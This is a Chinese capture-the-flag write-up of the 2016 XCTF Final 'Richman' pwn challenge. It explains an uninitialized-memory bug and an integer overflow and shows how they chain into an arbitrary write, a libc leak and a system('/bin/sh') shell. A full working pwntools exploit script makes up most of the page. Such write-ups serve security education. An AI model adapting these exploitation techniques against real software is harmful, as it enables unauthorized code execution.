zoukankan      html  css  js  c++  java
  • 2016-XCTF Final-Richman

        抽时间将XCTF Final中Richman这个题总结了下。题目及ida idb所在的链接在:http://files.cnblogs.com/files/wangaohui/richman-blog.zip

        在比赛中,我们很快地就Fuzz到了漏洞所在的位置,但是可能是由于现场的环境和平常线上赛的环境不太一样,并没有很快的写出漏洞利用程序。将Crash时的输入进行精简,得到下面的输入:

    build 7 4 market

    build 4 0 market

    demolish 7 4

    demolish 4 0

    build 3 6 factory

    aaaaaaaaa

    time

        当按照上面的进行输入,很快将发现Crash的原因。漏洞比较明显,是一个内存未初始化的漏洞,和SSCTF决赛的漏洞很相似。

        在build factory的时候,如果生产一个不存在的的物资(不在wood/oil/rock中),那么product_id将使用内存中原有的内容。这样的话,在使用time功能的时候,就会很容易发生内存的越界读写。

        这个题目涉及到5种结构体。分别对应road/factory/bank/casino/market五种基础设施,另外一种是对上面5个结构的索引。

        根据崩溃的原因和上面的结构体描述,如果能够控制factory->product_id和factory->dailyout的话,那么是可以得到任意地址写的。

        除了上面的漏洞外,还发现了一个整数溢出的漏洞。在使用market进行出售货物的时候,如果出售的单元数量很大,在imul指令后发生整数溢出,这样的话,能够获得大量的金钱!!

        有了大量的钱后,就可以对bank进行操作,可以存钱借钱。程序有一个功能是可以将一个基础设施转换为另外一个基础设施。这个时候,如果对bank进行操作(存入大量的钱),紧接着将其转换为factory,因为bank和factory的大小一样,那么factory还是用的是bank的内存单元,这个时候就可以利用上面的那个任意地址写的漏洞了!

        要想write-anything-anywhere,就得控制factory->daily_output。这个是可以通过对两个bank进行upgrade的时候进行设置的。

        这样的话,我们就可以任意地址写了。向哪里写什么呢?下一步我们需要的是信息泄露,需要泄露出Libc库函数的地址。在print_factory的函数里,存在一个用来信息泄露的好地方。

        在程序里import了gets函数,这个应该是出题方故意留的。如果将数据区中use_factory的函数指针改为gets@plt的话,那么下一次在调用use_factory的时候,将调用的是gets函数,那么整个factory结构体都能被任意控制,很方便进行信息泄露。

        调用use_factory的时候,实际调用的是gets函数,这样的话不仅可以控制factory的内存数据,还能控制紧挨着的其他数据结构,相当于一个堆的溢出。

        通过上面的任意地址写和信息泄露,可以获得到所需要的各种地址。最后一个步骤就是通过任意地址写拿shell。通过任意地址写,将.data段里的use_market的函数指针指向system,并通过堆的溢出修改下一个chunk的内容将下一个基础设施修改为market,并将其内存指针指向字符串"/bin/sh",那么一旦使用use_market,就相当于调用了system("/bin/sh"),顺利拿到shell。本地测试:

         Exp:

      1 from pwn import *
      2 import time
      3 import binascii
      4 #wangaohui
      5 #context.log_level='debug'
      6 exe='richman'
      7 s = remote('127.0.0.1',10001)
      8 def getpid():
      9     time.sleep(0.1)
     10     pid= pwnlib.util.proc.pidof(exe)
     11     print pid
     12     raw_input('go!')
     13 def usemarket(x,y,act,num):
     14     s.recvuntil('$ ')
     15     cmd = 'use ' + str(x) + ' ' + str(y)
     16     s.sendline(cmd)
     17     s.recvuntil('which resource do you want to trade (wood/rock/oil):')
     18     s.sendline('wood')
     19     s.recvuntil('buy resourses or sell? ')
     20     s.sendline(act)
     21     s.recvuntil('How many units')
     22     s.sendline(str(num))
     23 def usebank(x,y,money):
     24     s.recvuntil('$ ')
     25     cmd = 'use ' + str(x) + ' ' + str(y)
     26     s.sendline(cmd)
     27     s.recvuntil('(+ means deposit while - means loan): ')
     28     s.sendline(str(money))
     29 def writeanywhere(x,y,data):
     30     cmd = 'use ' + str(x) + ' ' + str(y)
     31     s.sendline(cmd)
     32     s.sendline(data)
     33     s.recvuntil('$ ')
     34     s.sendline('time')#wirte
     35 def build(x,y,t):
     36     s.recvuntil('$ ')
     37     s.sendline('build '+str(x) + ' ' + str(y) + ' ' + t)
     38 def upgradebank(x,y):
     39     s.recvuntil('$ ')
     40     s.sendline('upgrade '+str(x) + ' ' + str(y))
     41     s.recvuntil('You can raise the credit up to')
     42     s.sendline('-40')#0xffffffd8
     43     s.recvuntil('Accepted.')
     44 def transform(x,y,t):
     45     s.recvuntil('$ ')
     46     s.sendline('transform '+str(x) + ' ' + str(y) + ' ' + t)
     47     s.recvuntil('Input the resource factory produces: ')
     48     s.sendline('xxx')
     49 def time_():
     50     s.recvuntil('$ ')
     51     s.sendline('time')
     52 
     53 s.recvuntil('I will give you a present!')
     54 s.sendline('build 5 5 market')
     55 usemarket(5,5,'sell',25769804)#earn money 0x999999b0L
     56 build(2,2,'bank')
     57 usebank(2,2,0x99999000)
     58 usemarket(5,5,'sell',25769804)#earn money 0x999999b0L
     59 usebank(2,2,0x66665551)#earn money 0x66665551
     60 build(2,1,'bank')
     61 upgradebank(2,2)
     62 transform(2,2,'factory')
     63 time_()#write-any-where
     64 
     65 #make useroad point to usefuncarray
     66 wood = 0x000055555575A1E8
     67 usefuncarray = 0x000055555575A140
     68 useroad = 0x00005555555567F1
     69 data = p32(((wood-usefuncarray)/4^0xffffffff)+1)
     70 data += p32(usefuncarray-useroad)#'xd6xffxffxffx4fx39x20x00'
     71 writeanywhere(2,2,data)
     72 
     73 factory_products_array = 0x000055555575A020
     74 data = p32((usefuncarray-factory_products_array)/8)#0x24
     75 s.recvuntil('$')
     76 s.sendline('use 2 2')
     77 s.sendline(data)
     78 
     79 #leak use_func_array address,so we get the image base
     80 s.recvuntil('$ ')
     81 s.sendline('print 2 2')
     82 s.recvuntil('The factory produces ')
     83 leaked = s.recvuntil(':')[:-2]
     84 #print(binascii.hexlify(leaked))
     85 use_funcs_addr = u64(leaked+'x00'*(8-len(leaked)))
     86 print 'leaked use_funcs_addr is: ' + hex(use_funcs_addr)
     87 
     88 s.recvuntil('$ ')
     89 s.sendline('build 3 3 factory')
     90 s.recvuntil('Input the resource factory produces: ')
     91 s.sendline('3')
     92 s.recvuntil('Invalid resources!')
     93 
     94 #nextstep is leak libc func printf addr
     95 #leak low
     96 s.recvuntil('$ ')
     97 printf_got = use_funcs_addr-0x1b8
     98 s.sendline('use 2 2')
     99 data = p64(0x0)
    100 data += p64(0x0100)*2
    101 data += p64(0x0)*2
    102 data += p64(printf_got)
    103 s.sendline(data)
    104 s.recvuntil('$ ')
    105 s.sendline('print 3 3')
    106 s.recvuntil('Road')
    107 s.recvuntil('The durability of this road is ')
    108 low = s.recvuntil('
    ')[:-1]
    109 if low.startswith('-'):
    110     low = low[1:]
    111     low_hex=hex((int(low)^0xffffffff)+1)[2:]
    112 else:
    113     low_hex=hex(int(low))[2:]
    114 
    115 #leak high
    116 s.recvuntil('$ ')
    117 printf_got = use_funcs_addr-0x1b8+4
    118 s.sendline('use 2 2')
    119 data = p64(0x0)
    120 data += p64(0x0100)*2
    121 data += p64(0x0)*2
    122 data += p64(printf_got)
    123 s.sendline(data)
    124 s.recvuntil('$ ')
    125 s.sendline('print 3 3')
    126 s.recvuntil('Road')
    127 s.recvuntil('The durability of this road is ')
    128 high = s.recvuntil('
    ')[:-1]
    129 if high.startswith('-'):
    130     high= low[1:]
    131     high_hex=hex((int(high)^0xffffffff)+1)[2:-1]
    132 else:
    133     high_hex=hex(int(high))[2:]
    134 printf = int(high_hex+low_hex,16)
    135 print 'leaked printf is: ' + hex(printf)
    136 
    137 '''
    138 #local kali
    139 system = printf - 0x50CF0 + 0x41490
    140 binsh = printf - 0x50CF0 + 0x1639A0
    141 '''
    142 
    143 system = printf - 0x54340 + 0x46590
    144 binsh = printf - 0x54340 + 0x17C8C3
    145 
    146 #make usemarket point to system
    147 usemarket = use_funcs_addr - 0x55555575A140 + 0x5555555569E1
    148 vt_usemarket = use_funcs_addr + 0x20
    149 wood = use_funcs_addr + 0xa8
    150 
    151 data = p32(((wood-vt_usemarket)/4^0xffffffff)+1)
    152 tmp = (system&0xffffffff)-(usemarket&0xffffffff)
    153 if tmp>0:
    154     data += p32(tmp)
    155 else:
    156     data += p32(((-tmp)^0xffffffff)+1)
    157 writeanywhere(2,2,data)
    158 
    159 data = p32(((wood-vt_usemarket-4)/4^0xffffffff)+1)
    160 tmp = (system>>32) - (usemarket>>32)
    161 if tmp>0:
    162     data += p32(tmp)
    163     writeanywhere(2,2,data)
    164 elif tmp<0:
    165     data += p32(((-tmp)^0xffffffff)+1)
    166     writeanywhere(2,2,data)
    167 else:
    168     pass
    169 
    170 data = p32(0)+p32(200)+p64(1)+ p64(5)+p64(0x21)+p64(4)+p64(binsh)
    171 s.sendline('use 2 2')
    172 s.sendline(data)
    173 
    174 s.recvuntil('$ ')
    175 cmd = 'use 3 3'
    176 s.sendline(cmd)
    177 s.interactive()
    178 s.close()
    View Code
  • 相关阅读:
    事后诸葛亮
    团队作业6--展示博客(Alpha版本)
    团队作业5——测试与发布(Alpha版本)
    团队作业2:需求分析&原型设计
    团队编程作业1-团队展示与选题
    结对编程1
    TeamViewer app案例分析
    第一次作业--四则运算
    【Alpha】Daily Scrum Meeting 集合贴
    【Alpha】Daily Scrum Meeting——Day3
  • 原文地址:https://www.cnblogs.com/wangaohui/p/5741589.html
Copyright © 2011-2022 走看看